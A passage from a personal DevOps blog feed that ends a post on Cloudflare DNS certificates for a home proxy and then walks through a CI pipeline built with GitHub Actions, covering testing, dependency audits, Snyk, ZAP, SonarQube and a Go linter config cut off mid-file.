<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745719942711/6715fb06-8c4a-4aa8-9284-3e57f687ba42.png" alt class="image--center mx-auto" /></p>
<p>On there we click on “Create Token” and choose the template “Edit zone DNS” were gonna use that token in the variable we saw before, but before saving that we need to create the DNS itself</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745720054095/2a93a5da-1529-4256-a11e-cdc791e51cb5.png" alt class="image--center mx-auto" /></p>
<p>The IP is the one where my NPM is (but doesn’t matter since is a private one)</p>
<p>Now go and save those changes and you should see the domain like myself :)</p>
<p>To renovate these you only need to click on the 3 dots and “Renew Now”</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745720151521/f56eb55d-43c0-4f3c-bcd5-1e39d09f29ec.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745720183584/196d23b4-7d32-4972-a13f-1a9629f90615.png" alt class="image--center mx-auto" /></p>
<p>There you go, now you have a domain trusted on all of your devices for your LAN things without opening anything :)</p>
<p>DISCLAIMER:</p>
<p>You can open port 80,443 and request the cert each time you need it, but some ISP’s block those for security reasons so this is a workaround for some folks like me :)</p>
<h2 id="heading-end">End</h2>
<p>Hope this works for you in case it wasn’t good enough here is a video about the topic :)</p>
<p><a target="_blank" href="https://www.youtube.com/watch?v=qlcVx-k-02E">https://www.youtube.com/watch?v=qlcVx-k-02E</a></p>
<p>Have a great day!</p>
]]></content:encoded></item><item><title><![CDATA[Build a robust CI process for your applications]]></title><description><![CDATA[In the world of devops, there is a lot of practices or standards that are everywhere, one of them you may already heard of is “CI/CD” which stands for Continuous Integration and Continuous Delivery.
In this case I’m only going to cover the CI one, bu...]]></description><link>https://blog.jonathan.com.ar/build-a-robust-ci-process-for-your-applications</link><guid isPermaLink="true">https://blog.jonathan.com.ar/build-a-robust-ci-process-for-your-applications</guid><category><![CDATA[ci-cd]]></category><category><![CDATA[Devops]]></category><dc:creator><![CDATA[jd]]></dc:creator><pubDate>Mon, 24 Mar 2025 18:17:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1742696664548/2acfe29f-1756-4756-8a55-dc5defe782cc.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In the world of devops, there is a lot of practices or standards that are everywhere, one of them you may already heard of is “CI/CD” which stands for Continuous Integration and Continuous Delivery.</p>
<p>In this case I’m only going to cover the CI one, but with a lot of things, let’s start and see what we can do :)</p>
<p>Disclaimer: I’m going to use Github as platform to explain most of the things, but concepts are general and can be applied anywhere.</p>
<h3 id="heading-testing">Testing</h3>
<p>Here we have a lot of categories, depending on your need you could add</p>
<ul>
<li><p>Unit</p>
</li>
<li><p>Integration</p>
</li>
<li><p>End to end</p>
</li>
<li><p>Performance</p>
</li>
</ul>
<p>To read more about each one of these types (and more) I suggest you read about them here</p>
<p><a target="_blank" href="https://www.geeksforgeeks.org/types-software-testing/">https://www.geeksforgeeks.org/types-software-testing/</a></p>
<p><a target="_blank" href="https://martinfowler.com/articles/practical-test-pyramid.html">https://martinfowler.com/articles/practical-test-pyramid.html</a></p>
<p>Now let’s show a basic example on github actions</p>
<pre><code class="lang-yaml"><span class="hljs-attr">name:</span> <span class="hljs-string">Docker</span> <span class="hljs-string">Publish</span>

<span class="hljs-attr">on:</span>
  <span class="hljs-attr">workflow_dispatch:</span>
  <span class="hljs-attr">pull_request:</span>
    <span class="hljs-attr">branches:</span> [ <span class="hljs-string">"develop"</span>, <span class="hljs-string">"master"</span> ]
    <span class="hljs-attr">paths:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'src/**'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'infra/docker/**'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'infra/kubernetes/**'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'.github/workflows/publish.yml'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'tests/**'</span>
  <span class="hljs-attr">push:</span>
    <span class="hljs-attr">branches:</span> [ <span class="hljs-string">"develop"</span>, <span class="hljs-string">"master"</span> ]
    <span class="hljs-attr">paths:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'src/**'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'infra/docker/**'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'infra/kubernetes/**'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'.github/workflows/publish.yml'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'tests/**'</span>

<span class="hljs-attr">env:</span>
  <span class="hljs-attr">BRANCH_NAME:</span> <span class="hljs-string">${{</span> <span class="hljs-string">github.ref_name</span> <span class="hljs-string">}}</span>
  <span class="hljs-attr">APP_NAME:</span> <span class="hljs-string">infobae_api</span>
  <span class="hljs-attr">APP_VERSION:</span> <span class="hljs-string">latest</span>
  <span class="hljs-attr">APP_DEV_VERSION:</span> <span class="hljs-string">unstable</span>
  <span class="hljs-attr">AWS_ECR_REGISTRY:</span> <span class="hljs-string">${{</span> <span class="hljs-string">secrets.AWS_ECR_REGISTRY</span> <span class="hljs-string">}}</span>

<span class="hljs-attr">jobs:</span>

  <span class="hljs-attr">test:</span>
    <span class="hljs-attr">permissions:</span> 
      <span class="hljs-attr">contents:</span> <span class="hljs-string">read</span>

    <span class="hljs-attr">name:</span> <span class="hljs-string">test</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>
    <span class="hljs-attr">steps:</span>

      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Checkout</span>
        <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@85e6279cec87321a52edac9c87bce653a07cf6c2</span>

      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Set</span> <span class="hljs-string">up</span> <span class="hljs-string">Go</span>
        <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/setup-go@5a083d0e9a84784eb32078397cf5459adecb4c40</span>
        <span class="hljs-attr">with:</span>
          <span class="hljs-attr">go-version:</span> <span class="hljs-number">1.23</span><span class="hljs-number">.2</span>

      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Test</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">go</span> <span class="hljs-string">test</span> <span class="hljs-string">-v</span> <span class="hljs-string">./tests</span>
</code></pre>
<p>Here I’m running a suite of tests each time there is a pull request at the develop/master branch, or at each push to develop/master</p>
<p>This is running these tests</p>
<p><a target="_blank" href="https://github.com/jd-apprentice/infobae-api/blob/master/tests/main_test.go">https://github.com/jd-apprentice/infobae-api/blob/master/tests/main_test.go</a></p>
<p>A larger collection of tests can be seen here</p>
<p><a target="_blank" href="https://github.com/jd-apprentice/waifuland-api/tree/master/tests">https://github.com/jd-apprentice/waifuland-api/tree/master/<strong>tests</strong></a></p>
<h3 id="heading-audit">Audit</h3>
<p>Now here it depends on the language or platform but we can use/see a few things, for example if we are using <code>nodejs</code> we can see a command like <code>npm audit</code> which may not be the best (<a target="_blank" href="https://overreacted.io/npm-audit-broken-by-design/">https://overreacted.io/npm-audit-broken-by-design/</a>) but is better than nothing in some cases.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742698452295/00add925-7b2e-4ccd-bb3e-96d2f73f3ff7.png" alt class="image--center mx-auto" /></p>
<p>In the case of github we can also use dependabot</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742698540725/5ae0f5ad-3571-446b-9e65-7ea4f4c1ca76.png" alt class="image--center mx-auto" /></p>
<p>We can use the manual one or automatic one</p>
<h3 id="heading-sast">Sast</h3>
<p>Sast comes from <a target="_blank" href="https://en.wikipedia.org/wiki/Static_application_security_testing">https://en.wikipedia.org/wiki/Static_application_security_testing</a></p>
<p>Same as <code>DAST</code> there is a LOT of tools so I’m only going to cover you, is up to you to investigate which one fits more your business needs.</p>
<p>A popular one could be <a target="_blank" href="https://snyk.io/">https://snyk.io/</a></p>
<p>We can login with github and add a new project there</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742699107938/4f602ef4-fbb6-4bf4-ab68-85b0fbb256c2.png" alt class="image--center mx-auto" /></p>
<p>I’m going to use github to add the project</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742699142988/3d28ed86-485a-4a5a-8ac9-95109c13ec73.png" alt class="image--center mx-auto" /></p>
<p>Once repository is selected</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742699273793/9b96f8e3-ca5b-4553-8632-49033abb39e2.png" alt class="image--center mx-auto" /></p>
<p>We should see our project there (I know it’s destroyed, I just started with this one sob sob)</p>
<p>It’s useful to set automatic fix pull request to C/H</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742699425935/64b48c98-bd21-460d-a674-63795b1f1c59.png" alt class="image--center mx-auto" /></p>
<p>It can be done in the Github integration section for the project itself.</p>
<p>We can use their extension to be able to see things earlier</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742699629829/5780ea16-02ba-4b32-9892-85624105d947.png" alt class="image--center mx-auto" /></p>
<p>Connect to your account</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742699648234/98130a9b-bad9-4ea6-875f-2d47987a28bc.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742699664072/82f50d05-a130-4327-842a-d4ef0cdc4188.png" alt class="image--center mx-auto" /></p>
<p>Now let’s say we want to add the scan process into our pipeline, with github we can find in the marketplace the github action for it</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># This workflow uses actions that are not certified by GitHub.</span>
<span class="hljs-comment"># They are provided by a third-party and are governed by</span>
<span class="hljs-comment"># separate terms of service, privacy policy, and support</span>
<span class="hljs-comment"># documentation.</span>

<span class="hljs-comment"># A sample workflow which sets up Snyk to analyze the full Snyk platform (Snyk Open Source, Snyk Code,</span>
<span class="hljs-comment"># Snyk Container and Snyk Infrastructure as Code)</span>
<span class="hljs-comment"># The setup installs the Snyk CLI - for more details on the possible commands</span>
<span class="hljs-comment"># check https://docs.snyk.io/snyk-cli/cli-reference</span>
<span class="hljs-comment"># The results of Snyk Code are then uploaded to GitHub Security Code Scanning</span>
<span class="hljs-comment">#</span>
<span class="hljs-comment"># In order to use the Snyk Action you will need to have a Snyk API token.</span>
<span class="hljs-comment"># More details in https://github.com/snyk/actions#getting-your-snyk-token</span>
<span class="hljs-comment"># or you can signup for free at https://snyk.io/login</span>
<span class="hljs-comment">#</span>
<span class="hljs-comment"># For more examples, including how to limit scans to only high-severity issues</span>
<span class="hljs-comment"># and fail PR checks, see https://github.com/snyk/actions/</span>

<span class="hljs-attr">name:</span> <span class="hljs-string">Snyk</span> <span class="hljs-string">Security</span>

<span class="hljs-attr">on:</span>
  <span class="hljs-attr">push:</span>
    <span class="hljs-attr">branches:</span> [<span class="hljs-string">"master"</span> ]
  <span class="hljs-attr">pull_request:</span>
    <span class="hljs-attr">branches:</span> [<span class="hljs-string">"master"</span>]

<span class="hljs-attr">permissions:</span>
  <span class="hljs-attr">contents:</span> <span class="hljs-string">read</span>

<span class="hljs-attr">jobs:</span>
  <span class="hljs-attr">snyk:</span>
    <span class="hljs-attr">permissions:</span>
      <span class="hljs-attr">contents:</span> <span class="hljs-string">read</span> <span class="hljs-comment"># for actions/checkout to fetch code</span>
      <span class="hljs-attr">security-events:</span> <span class="hljs-string">write</span> <span class="hljs-comment"># for github/codeql-action/upload-sarif to upload SARIF results</span>
      <span class="hljs-attr">actions:</span> <span class="hljs-string">read</span> <span class="hljs-comment"># only required for a private repository by github/codeql-action/upload-sarif to get the Action run status</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>
    <span class="hljs-attr">steps:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@v4</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Set</span> <span class="hljs-string">up</span> <span class="hljs-string">Snyk</span> <span class="hljs-string">CLI</span> <span class="hljs-string">to</span> <span class="hljs-string">check</span> <span class="hljs-string">for</span> <span class="hljs-string">security</span> <span class="hljs-string">issues</span>
        <span class="hljs-comment"># Snyk can be used to break the build when it detects security issues.</span>
        <span class="hljs-comment"># In this case we want to upload the SAST issues to GitHub Code Scanning</span>
        <span class="hljs-attr">uses:</span> <span class="hljs-string">snyk/actions/setup@806182742461562b67788a64410098c9d9b96adb</span>

        <span class="hljs-comment"># For Snyk Open Source you must first set up the development environment for your application's dependencies</span>
        <span class="hljs-comment"># For example for Node</span>
        <span class="hljs-comment">#- uses: actions/setup-node@v4</span>
        <span class="hljs-comment">#  with:</span>
        <span class="hljs-comment">#    node-version: 20</span>

        <span class="hljs-attr">env:</span>
          <span class="hljs-comment"># This is where you will need to introduce the Snyk API token created with your Snyk account</span>
          <span class="hljs-attr">SNYK_TOKEN:</span> <span class="hljs-string">${{</span> <span class="hljs-string">secrets.SNYK_TOKEN</span> <span class="hljs-string">}}</span>

        <span class="hljs-comment"># Runs Snyk Code (SAST) analysis and uploads result into GitHub.</span>
        <span class="hljs-comment"># Use || true to not fail the pipeline</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Snyk</span> <span class="hljs-string">Code</span> <span class="hljs-string">test</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">snyk</span> <span class="hljs-string">code</span> <span class="hljs-string">test</span> <span class="hljs-string">--sarif</span> <span class="hljs-string">&gt;</span> <span class="hljs-string">snyk-code.sarif</span> <span class="hljs-comment"># || true</span>

        <span class="hljs-comment"># Runs Snyk Open Source (SCA) analysis and uploads result to Snyk.</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Snyk</span> <span class="hljs-string">Open</span> <span class="hljs-string">Source</span> <span class="hljs-string">monitor</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">snyk</span> <span class="hljs-string">monitor</span> <span class="hljs-string">--all-projects</span>

        <span class="hljs-comment"># Runs Snyk Infrastructure as Code (IaC) analysis and uploads result to Snyk.</span>
        <span class="hljs-comment"># Use || true to not fail the pipeline.</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Snyk</span> <span class="hljs-string">IaC</span> <span class="hljs-string">test</span> <span class="hljs-string">and</span> <span class="hljs-string">report</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">snyk</span> <span class="hljs-string">iac</span> <span class="hljs-string">test</span> <span class="hljs-string">--report</span> <span class="hljs-comment"># || true</span>

        <span class="hljs-comment"># Build the docker image for testing</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Build</span> <span class="hljs-string">a</span> <span class="hljs-string">Docker</span> <span class="hljs-string">image</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">docker</span> <span class="hljs-string">build</span> <span class="hljs-string">-t</span> <span class="hljs-string">your/image-to-test</span> <span class="hljs-string">.</span>
        <span class="hljs-comment"># Runs Snyk Container (Container and SCA) analysis and uploads result to Snyk.</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Snyk</span> <span class="hljs-string">Container</span> <span class="hljs-string">monitor</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">snyk</span> <span class="hljs-string">container</span> <span class="hljs-string">monitor</span> <span class="hljs-string">your/image-to-test</span> <span class="hljs-string">--file=Dockerfile</span>

        <span class="hljs-comment"># Push the Snyk Code results into GitHub Code Scanning tab</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Upload</span> <span class="hljs-string">result</span> <span class="hljs-string">to</span> <span class="hljs-string">GitHub</span> <span class="hljs-string">Code</span> <span class="hljs-string">Scanning</span>
        <span class="hljs-attr">uses:</span> <span class="hljs-string">github/codeql-action/upload-sarif@v3</span>
        <span class="hljs-attr">with:</span>
          <span class="hljs-attr">sarif_file:</span> <span class="hljs-string">snyk-code.sarif</span>
</code></pre>
<p>It looks like this, in my case I’m only going to use code scan so everything else if going to be deleted.</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># This workflow uses actions that are not certified by GitHub.</span>
<span class="hljs-comment"># They are provided by a third-party and are governed by</span>
<span class="hljs-comment"># separate terms of service, privacy policy, and support</span>
<span class="hljs-comment"># documentation.</span>

<span class="hljs-comment"># A sample workflow which sets up Snyk to analyze the full Snyk platform (Snyk Open Source, Snyk Code,</span>
<span class="hljs-comment"># Snyk Container and Snyk Infrastructure as Code)</span>
<span class="hljs-comment"># The setup installs the Snyk CLI - for more details on the possible commands</span>
<span class="hljs-comment"># check https://docs.snyk.io/snyk-cli/cli-reference</span>
<span class="hljs-comment"># The results of Snyk Code are then uploaded to GitHub Security Code Scanning</span>
<span class="hljs-comment">#</span>
<span class="hljs-comment"># In order to use the Snyk Action you will need to have a Snyk API token.</span>
<span class="hljs-comment"># More details in https://github.com/snyk/actions#getting-your-snyk-token</span>
<span class="hljs-comment"># or you can signup for free at https://snyk.io/login</span>
<span class="hljs-comment">#</span>
<span class="hljs-comment"># For more examples, including how to limit scans to only high-severity issues</span>
<span class="hljs-comment"># and fail PR checks, see https://github.com/snyk/actions/</span>

<span class="hljs-attr">name:</span> <span class="hljs-string">Snyk</span> <span class="hljs-string">Security</span>

<span class="hljs-attr">on:</span>
  <span class="hljs-attr">push:</span>
    <span class="hljs-attr">branches:</span> [<span class="hljs-string">"master"</span> ]
  <span class="hljs-attr">pull_request:</span>
    <span class="hljs-attr">branches:</span> [<span class="hljs-string">"master"</span>]

<span class="hljs-attr">permissions:</span>
  <span class="hljs-attr">contents:</span> <span class="hljs-string">read</span>

<span class="hljs-attr">jobs:</span>
  <span class="hljs-attr">snyk:</span>
    <span class="hljs-attr">permissions:</span>
      <span class="hljs-attr">contents:</span> <span class="hljs-string">read</span> <span class="hljs-comment"># for actions/checkout to fetch code</span>
      <span class="hljs-attr">security-events:</span> <span class="hljs-string">write</span> <span class="hljs-comment"># for github/codeql-action/upload-sarif to upload SARIF results</span>
      <span class="hljs-attr">actions:</span> <span class="hljs-string">read</span> <span class="hljs-comment"># only required for a private repository by github/codeql-action/upload-sarif to get the Action run status</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>
    <span class="hljs-attr">steps:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@v4</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Set</span> <span class="hljs-string">up</span> <span class="hljs-string">Snyk</span> <span class="hljs-string">CLI</span> <span class="hljs-string">to</span> <span class="hljs-string">check</span> <span class="hljs-string">for</span> <span class="hljs-string">security</span> <span class="hljs-string">issues</span>
        <span class="hljs-comment"># Snyk can be used to break the build when it detects security issues.</span>
        <span class="hljs-comment"># In this case we want to upload the SAST issues to GitHub Code Scanning</span>
        <span class="hljs-attr">uses:</span> <span class="hljs-string">snyk/actions/setup@806182742461562b67788a64410098c9d9b96adb</span>

        <span class="hljs-comment"># For Snyk Open Source you must first set up the development environment for your application's dependencies</span>
        <span class="hljs-comment"># For example for Node</span>
        <span class="hljs-comment">#- uses: actions/setup-node@v4</span>
        <span class="hljs-comment">#  with:</span>
        <span class="hljs-comment">#    node-version: 20</span>

        <span class="hljs-attr">env:</span>
          <span class="hljs-comment"># This is where you will need to introduce the Snyk API token created with your Snyk account</span>
          <span class="hljs-attr">SNYK_TOKEN:</span> <span class="hljs-string">${{</span> <span class="hljs-string">secrets.SNYK_TOKEN</span> <span class="hljs-string">}}</span>

        <span class="hljs-comment"># Runs Snyk Code (SAST) analysis and uploads result into GitHub.</span>
        <span class="hljs-comment"># Use || true to not fail the pipeline</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Snyk</span> <span class="hljs-string">Code</span> <span class="hljs-string">test</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">snyk</span> <span class="hljs-string">code</span> <span class="hljs-string">test</span> <span class="hljs-string">--sarif</span> <span class="hljs-string">&gt;</span> <span class="hljs-string">snyk-code.sarif</span> <span class="hljs-comment"># || true</span>

        <span class="hljs-comment"># Push the Snyk Code results into GitHub Code Scanning tab</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Upload</span> <span class="hljs-string">result</span> <span class="hljs-string">to</span> <span class="hljs-string">GitHub</span> <span class="hljs-string">Code</span> <span class="hljs-string">Scanning</span>
        <span class="hljs-attr">uses:</span> <span class="hljs-string">github/codeql-action/upload-sarif@v3</span>
        <span class="hljs-attr">with:</span>
          <span class="hljs-attr">sarif_file:</span> <span class="hljs-string">snyk-code.sarif</span>
</code></pre>
<p>Remember to add the <em>SNYK_TOKEN</em> to the secrets.</p>
<p>A simpler option could be CodeQL if you are using Github</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742700422157/293e79c9-9708-4286-9dd5-208e8484d431.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-dast">Dast</h3>
<p>Disclaimer: DAST can affect the current system integrity y/o app, so add it at your own risk or make sure to have monitors for it.</p>
<p>Like mentioned before, for <code>DAST</code> there is a lot of things.</p>
<p>The one that I’m using right now is <a target="_blank" href="https://github.com/marketplace/actions/zap-baseline-scan">https://github.com/marketplace/actions/zap-baseline-scan</a></p>
<p>You can also use <a target="_blank" href="https://github.com/marketplace/actions/zap-full-scan">https://github.com/marketplace/actions/zap-full-scan</a></p>
<p>They give a full example on how to run it</p>
<pre><code class="lang-yaml"><span class="hljs-attr">on:</span> [<span class="hljs-string">push</span>]

<span class="hljs-attr">jobs:</span>
  <span class="hljs-attr">zap_scan:</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>
    <span class="hljs-attr">name:</span> <span class="hljs-string">Scan</span> <span class="hljs-string">the</span> <span class="hljs-string">webapplication</span>
    <span class="hljs-attr">steps:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Checkout</span>
        <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@v4</span>
        <span class="hljs-attr">with:</span>
          <span class="hljs-attr">ref:</span> <span class="hljs-string">master</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">ZAP</span> <span class="hljs-string">Scan</span>
        <span class="hljs-attr">uses:</span> <span class="hljs-string">zaproxy/action-full-scan@v0.12.0</span>
        <span class="hljs-attr">with:</span>
          <span class="hljs-attr">token:</span> <span class="hljs-string">${{</span> <span class="hljs-string">secrets.GITHUB_TOKEN</span> <span class="hljs-string">}}</span>
          <span class="hljs-attr">docker_name:</span> <span class="hljs-string">'ghcr.io/zaproxy/zaproxy:stable'</span>
          <span class="hljs-attr">target:</span> <span class="hljs-string">'https://www.zaproxy.org/'</span>
          <span class="hljs-attr">rules_file_name:</span> <span class="hljs-string">'.zap/rules.tsv'</span>
          <span class="hljs-attr">cmd_options:</span> <span class="hljs-string">'-a'</span>
</code></pre>
<p>But here you can check out a lot of them</p>
<p><a target="_blank" href="https://www.acunetix.com/blog/web-security-zone/10-best-dast-tools/">https://www.acunetix.com/blog/web-security-zone/10-best-dast-tools/</a></p>
<h3 id="heading-quality-gates">Quality Gates</h3>
<p>Our beloved Sonarqube could enter here (not the only one) but one reliant and good tool to cover this section since we can use it cloud or self hosted.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742764065771/d3e8e4b9-0e70-4037-925b-adce4389f7da.png" alt class="image--center mx-auto" /></p>
<p>To add a project into sonarqube cloud, we need to have an organization</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742764090931/70c2fc5c-1ad4-4176-8bd1-123e2b6f03ad.png" alt class="image--center mx-auto" /></p>
<p>Both creating an organization or adding a project could be found in the same place</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742764117706/f371896f-8c12-4add-9f3e-c8845792ad10.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742764139930/87c7e65a-1fc5-4352-a02e-b4c8ee2a1e8f.png" alt class="image--center mx-auto" /></p>
<p>Once we select our organization, we can select a repository to import. Sonarqube is going to ask us about the method of scan on new code</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742764202448/541b8107-8ad2-4670-9dd2-35617c2a4df3.png" alt class="image--center mx-auto" /></p>
<p>In my case since I’m not doing releases on my personal projects I’ve selected the second option</p>
<p>Also I’m using the automatic analysis (works quite well even tho sonar itself says not recommended)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742764256314/09f9946f-8d06-43a8-b6ae-bcf33dd547fd.png" alt class="image--center mx-auto" /></p>
<p>With this option enabled whenever you open a pull request it will leave a comment with the status of that new code</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742764295212/5e5e75dc-17ec-4e07-888f-ad55c8644912.png" alt class="image--center mx-auto" /></p>
<p>From there we can follow and see the issues mark by sonarqube. You can also use their extension in VSCode to track things earlier before they appear on a PR</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742764374272/2558ebe1-fc96-4d13-9212-9a79ac0d583e.png" alt class="image--center mx-auto" /></p>
<p>With this installed we could add a sonar server (self hosted) or the cloud one (my case)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742764403157/e3cd29ff-a2db-4740-a956-70fd3486b627.png" alt class="image--center mx-auto" /></p>
<p>We could also manually check the issues in their webpage if needed</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742764491490/eb070b9c-7ae5-4a9f-bda8-3720be70ead0.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-linter">Linter</h3>
<p>In the linter section we should evaluate if this needs to run either at pre-commit level or CI one, since it can be tedious for the developers in some cases (mostly because of their gitflow)</p>
<p>Also depending on the lang you are working on you may need a different tool. In this example I’m going to use <a target="_blank" href="https://golangci-lint.run/">https://golangci-lint.run/</a> in a golang project.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742764701861/6c1535a2-b340-4450-8df2-81d323c96a31.png" alt class="image--center mx-auto" /></p>
<p>In the root of my project I have a <code>Makefile</code> which I mostly use it to have shortcuts for commands (so I don’t have to remember them) or just to add a dependency (another command) previous to run that one.</p>
<p>In the case I’m highlighting here I’m running <code>path</code> before <code>lint</code>. To run this I have to type <code>make lint</code> and it will check these things (that are defined in my <code>.golangci.ymal</code></p>
<pre><code class="lang-yaml"><span class="hljs-comment"># yaml-language-server: $schema=https://golangci-lint.run/jsonschema/golangci.jsonschema.json</span>
<span class="hljs-comment">## Copied from https://github.com/microsoft/typescript-go</span>
<span class="hljs-comment">### https://golangci-lint.run/usage/linters/</span>

<span class="hljs-attr">run:</span>
  <span class="hljs-attr">allow-parallel-runners:</span> <span class="hljs-literal">true</span>
  <span class="hljs-attr">timeout:</span> <span class="hljs-string">180s</span>

<span class="hljs-attr">linters:</span>
  <span class="hljs-attr">disable-all:</span> <span class="hljs-literal">false</span>
  <span class="hljs-attr">enable-all:</span> <span class="hljs-literal">true</span>
  <span class="hljs-attr">disable:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">tenv</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">godox</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">gci</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">gofumpt</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">godot</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">gofmt</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">wsl</span>

<span class="hljs-attr">linters-settings:</span>
  <span class="hljs-attr">depguard:</span>
    <span class="hljs-comment"># Rules to apply.</span>
    <span class="hljs-comment">#</span>
    <span class="hljs-comment"># Variables:</span>
    <span class="hljs-comment"># - File Variables</span>
    <span class="hljs-comment">#   Use an exclamation mark `!` to negate a variable.</span>
    <span class="hljs-comment">#   Example: `!$test` matches any file that is not a go test file.</span>
    <span class="hljs-comment">#</span>
    <span class="hljs-comment">#   `$all` - matches all go files</span>
    <span class="hljs-comment">#   `$test` - matches all go test files</span>
    <span class="hljs-comment">#</span>
    <span class="hljs-comment"># - Package Variables</span>
    <span class="hljs-comment">#</span>
    <span class="hljs-comment">#   `$gostd` - matches all of go's standard library (Pulled from `GOROOT`)</span>
    <span class="hljs-comment">#</span>
    <span class="hljs-comment"># Default (applies if no custom rules are defined): Only allow $gostd in all files.</span>
    <span class="hljs-attr">rules:</span>
      <span class="hljs-comment"># Name of a rule.</span>
      <span class="hljs-attr">main:</span>
        <span class="hljs-comment"># Defines package matching behavior. Available modes:</span>
        <span class="hljs-comment"># - `original`: allowed if it doesn't match the deny list and either matches the allow list or the allow list is empty.</span>
        <span class="hljs-comment"># - `strict`: allowed only if it matches the allow list and either doesn't match the deny list or the allow rule is more specific (longer) than the deny rule.</span>
        <span class="hljs-comment"># - `lax`: allowed if it doesn't match the deny list or the allow rule is more specific (longer) than the deny rule.</span>
        <span class="hljs-comment"># Default: "original"</span>
        <span class="hljs-attr">list-mode:</span> <span class="hljs-string">lax</span>
        <span class="hljs-comment"># List of file globs that will match this list of settings to compare against.</span>
        <span class="hljs-comment"># Default: $all</span>
        <span class="hljs-attr">files:</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">"!**/*_a _file.go"</span>
